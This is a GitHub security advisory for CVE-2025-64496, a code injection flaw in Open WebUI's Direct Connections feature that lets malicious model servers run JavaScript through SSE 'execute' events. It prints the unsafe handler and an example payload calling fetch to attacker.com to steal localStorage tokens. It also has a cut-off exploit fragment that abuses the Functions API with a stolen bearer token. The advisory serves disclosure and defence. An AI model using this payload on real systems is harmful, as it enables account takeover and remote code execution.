GitHub Advisoryadvisory · npm, PyPI

GHSA-cm35-v4vp-5xvx Open WebUI Affected by an External Model Server (Direct Connections) Code Injection via SSE Events

HIGH Published 2025-11-07 Modified 2025-11-15 Official page ↗
Aliases
CVE-2025-64496
Ecosystem
npm, PyPI
Packages
open-webui
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
Weaknesses
CWE-501, CWE-829, CWE-830, CWE-95
Reviewed
2025-11-07

Affected packages

• npm open-webui: < 0.6.35 → fixed in 0.6.35 • PyPI open-webui: < 0.6.35 → fixed in 0.6.35

Description

Summary Open WebUI v0.6.33 and below contains a code injection vulnerability in the Direct Connections feature that allows malicious external model servers to execute arbitrary JavaScript in victim browsers via Server-Sent Event (SSE) `execute` events. This leads to authentication token theft, complete account takeover, and when chained with the Functions API, enables remote code execution on the backend server. The attack requires the victim to enable Direct Connections (disabled by default) and add the attacker's malicious model URL, achievable through social engineering of the admin and subsequent users. Details ROOT CAUSE ANALYSIS: Open WebUI's Direct Connections feature allows users to add external OpenAI-compatible model servers without proper validation of the Server-Sent Events (SSE) these servers emit. VULNERABLE COMPONENT: Frontend SSE Event Handler The frontend JavaScript code processes SSE events from external servers and specifically handles an `execute` event type that triggers arbitrary JavaScript execution: // Approximate vulnerable code location (frontend SSE handler) if (event.type === 'execute') { const func = new Function(event.data.code); // CRITICAL: Unsafe code execution await func(); } VULNERABILITY DETAILS: 1. No validation of external server trustworthiness 2. No allowlist of trusted model providers 3. No event type whitelisting or filtering 4. Direct execution of code from `execute` events using `new Function()` 5. No sandboxing or Content Security Policy enforcement 6. Full browser context access (localStorage, cookies, DOM) ATTACK VECTOR: 1. Attacker deploys malicious OpenAI-compatible API server 2. Social engineering: "Try my free GPT-4 alternative at http://attacker.com:8000" 3. Victim enables Direct Connections (Admin Settings → Connections) 5. Victim adds attacker's URL as external connection 6. Victim sends ANY message to the malicious model 7. Malicious server responds with SSE stream including: data: {"event": {"type": "execute", "data": {"code": "fetch('http://attacker.com/steal?t=' + localStorage.token)"}}} 8. Frontend executes the malicious code via `new Function()` 9. JWT token exfiltrated to attacker's server 10. Token is valid permanently (expires_at: null) EXPLOITATION EVIDENCE: Tested on Open WebUI v0.6.33 (2025-10-08): • Token successfully captured in dict: return body ''' payload = { "id": f"auto_exploit_{int(time.time())}", "name": "Auto Exploit", "content": malicious_code, "meta": {"description": "Automated exploitation", "manifest": {}} } headers = { 'Authorization': f'Bearer {token}', 'Content-Type': 'application/json' } t…

Related

Alias · CVE (1)

  • CVE-2025-64496 Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. vulnerability

Weakness · CWE (4)

  • CWE-501 Trust Boundary Violation weakness
  • CWE-829 Inclusion of Functionality from Untrusted Control Sphere weakness
  • CWE-830 Inclusion of Web Functionality from an Untrusted Source weakness
  • CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code weakness

References